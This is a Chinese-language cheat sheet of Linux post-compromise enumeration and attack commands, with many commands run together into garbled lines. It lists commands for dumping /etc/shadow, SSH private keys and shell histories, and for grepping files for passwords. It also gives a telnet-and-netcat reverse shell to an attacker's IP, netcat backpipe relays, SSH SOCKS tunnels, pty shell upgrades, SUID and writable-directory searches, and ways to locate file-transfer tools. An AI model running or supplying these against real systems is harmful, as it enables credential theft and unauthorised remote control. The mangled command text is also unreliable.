Linux 系统信息收集常用命令

Linux 系统信息收集简介常用命令查看系统版本

cat /etc/issuecat /etc/*-releasecat /etc/lsb-releasecat /etc/redhat-release

查看内核版本

cat /proc/versionuname -auname -mrsrpm -q kerneldmesg | grep Linuxls /boot | grep vmlinuz

查看环境变量里

cat /etc/profilecat /etc/bashrccat ~/.bash_profilecat ~/.bashrccat ~/.bash_logoutenvset

查看是否存在打印机

lpstat -a

应用与服务查看正在运行的服务以及权限

ps auxps -eftopcat /etc/service

查看具有 root 权限的进程

ps aux | grep rootps -ef | grep root

查看已安装程序、版本及运行状态

ls -alh /usr/bin/ls -alh /sbin/dpkg -lrpm -qals -alh /var/cache/apt/archivesOls -alh /var/cache/yum/

查看Service 设置

cat /etc/syslog.confcat /etc/chttp.confcat /etc/lighttpd.confcat /etc/cups/cupsd.confcat /etc/inetd.confcat /etc/apache2/apache2.confcat /etc/my.confcat /etc/httpd/conf/httpd.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

查看本机任务计划

crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root

查找可能存有用户名和密码的文本

grep -i user [filename]grep -i pass [filename]grep -C 5 “password” [filename]find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla

通信与网络查看 NIC 以及连接信息

/sbin/ifconfig -acat /etc/network/interfacescat /etc/sysconfig/network

查看网络配置

cat /etc/resolv.confcat /etc/sysconfig/networkcat /etc/networksiptables -Lhostnamednsdomainname

查看本机的网络连接信息

lsof -ilsof -i :80grep 80 /etc/servicesnetstat -antupnetstat -antpxnetstat -tulpnchkconfig –listchkconfig –list | grep 3:onlast

查看 ARP 及路由表信息

arp -eroute/sbin/route -nee

嗅探数据包

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

获得一个 Shell 与系统进行交互

# lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/nc -lvp 4444 # Attacker. 输入（命令）nc -lvp 4445 # Attacker. 输出（结果）telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用攻击者的 IP!

端口转发（端口重定向）

# rinetd# www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch# fpipe# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]FPipe.exe -l 80 -r 80 -s 80 192.168.1.7#ssh# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Portssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port#mknod# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipemknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relaymknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)mknodbackpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nclocalhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

建立远程 SSH 隧道

ssh -D 127.0.0.1:9050 -N [username]@[ip]proxychains ifconfig

秘密信息和用户查看已登录（在线）账户以及权限设置

idwhowlastcat /etc/passwd | cut -d: # List of usersgrep -v -E “^#” /etc/passwd | awk -F: '$3 == 0 { print $1}’ # List of super usersawk -F: ‘($3 == “0”) {print}' /etc/passwd # List of super userscat /etc/sudoerssudo -l

查看敏感文件

cat /etc/passwdcat /etc/groupcat /etc/shadowls -alh /var/mail/

查看相关目录的隐藏文件

ls -ahlR /root/ls -ahlR /home/

查找密码，脚本，数据库，默认配置文件或日志文件

cat /var/apache2/config.inccat /var/lib/mysql/mysql/user.MYDcat /root/anaconda-ks.cfg

查看操作历史（SSH，nano 等）

cat ~/.bash_historycat ~/.nano_historycat ~/.atftp_historycat ~/.mysql_historycat ~/.php_history

查找用户信息

cat ~/.bashrccat ~/.profilecat /var/mail/rootcat /var/spool/mail/root

查找主机上的私钥

cat ~/.ssh/authorized_keyscat ~/.ssh/identity.pubcat ~/.ssh/identitycat ~/.ssh/id_rsa.pubcat ~/.ssh/id_rsacat ~/.ssh/id_dsa.pubcat ~/.ssh/id_dsacat /etc/ssh/ssh_configcat /etc/ssh/sshd_configcat /etc/ssh/ssh_host_dsa_key.pubcat /etc/ssh/ssh_host_dsa_keycat /etc/ssh/ssh_host_rsa_key.pubcat /etc/ssh/ssh_host_rsa_keycat /etc/ssh/ssh_host_key.pubcat /etc/ssh/ssh_host_key 

文件系统查找具备 /etc/ 目录写权限的用户以及重新配置服务的用户

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null # Anyonels -aRl /etc/ | awk ’$1 ~ /^..w/’ 2>/dev/null # Ownerls -aRl /etc/ | awk ‘$1 ~ /^…..w/’ 2>/dev/null # Groupls -aRl /etc/ | awk ’;$1 ~ /w.$/’ 2>/dev/null # Otherfind /etc/ -readable -type f 2>/dev/null # Anyonefind /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

查找 /var/ 目录的隐藏可疑文件

ls -alh /var/logls -alh /var/maills -alh /var/spoolls -alh /var/spool/lpdls -alh /var/lib/pgsqlls -alh /var/lib/mysqlcat /var/lib/dhcp3/dhclient.leases

查找网站的隐藏配置文件

ls -alhR /var/www/ls -alhR /srv/www/htdocs/ls -alhR /usr/local/www/apache22/data/ls -alhR /opt/lampp/htdocs/ls -alhR /var/www/html/ 

查看相关系统日志

# www.thegeekstuff.com/2011/08/linux-var-log-files/cat /etc/httpd/logs/access_logcat /etc/httpd/logs/access.logcat /etc/httpd/logs/error_logcat /etc/httpd/logs/error.logcat /var/log/apache2/access_logcat /var/log/apache2/access.logcat /var/log/apache2/error_logcat /var/log/apache2/error.logcat /var/log/apache/access_logcat /var/log/apache/access.logcat /var/log/auth.logcat /var/log/chttp.logcat /var/log/cups/error_logcat /var/log/dpkg.logcat /var/log/faillogcat /var/log/httpd/access_logcat /var/log/httpd/access.logcat /var/log/httpd/error_logcat /var/log/httpd/error.logcat /var/log/lastlogcat /var/log/lighttpd/access.logcat /var/log/lighttpd/error.logcat /var/log/lighttpd/lighttpd.access.logcat /var/log/lighttpd/lighttpd.error.logcat /var/log/messagescat /var/log/securecat /var/log/syslogcat /var/log/wtmpcat /var/log/xferlogcat /var/log/yum.logcat /var/run/utmpcat /var/webmin/miniserv.logcat /var/www/logs/access_logcat /var/www/logs/access.logls -alh /var/lib/dhcp3/ls -alh /var/log/postgresql/ls -alh /var/log/proftpd/ls -alh /var/log/samba/auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件？log.系统引导……)

一句话创建可交互式反弹 Shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’echo os.system(‘/bin/bash’)/bin/sh -i

挂载文件系统

mountdf -h

查看系统挂载情况

cat /etc/fstab

高级 Linux 文件权限使用（Sticky bits, SUID 和 GUID）

find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename herefind / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it.find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it.find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUIDfor i in `locate -r “bin$”`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID(Quicker search)#findstarting at root (/), SGIDorSUID, not Symbolic links, only 3folders deep, list with more detail and hideany errors (e.g. permissiondenied)find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

哪些目录具有写入权限（几个通用的目录：/tmp，/var，/tmp，/dev，/shm）

find / -writable -type d 2>/dev/null # world-writeable foldersfind / -perm -222 -type d 2>/dev/null # world-writeable foldersfind / -perm -o+w -type d 2>/dev/null # world-writeable foldersfind / -perm -o+x -type d 2>/dev/null # world-executable foldersfind / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable foldersAny “problem” files？可写的的，“没有使用”的文件find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable filesfind /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files

准备和查找漏洞利用代码查看语言/代码支持情况

find / -name perl*find / -name python*find / -name gcc*find / -name cc

查找可利用于传输文件的命令

find / -name wgetfind / -name nc*find / -name netcat*find / -name tftp*find / -name ftpfind / -name scp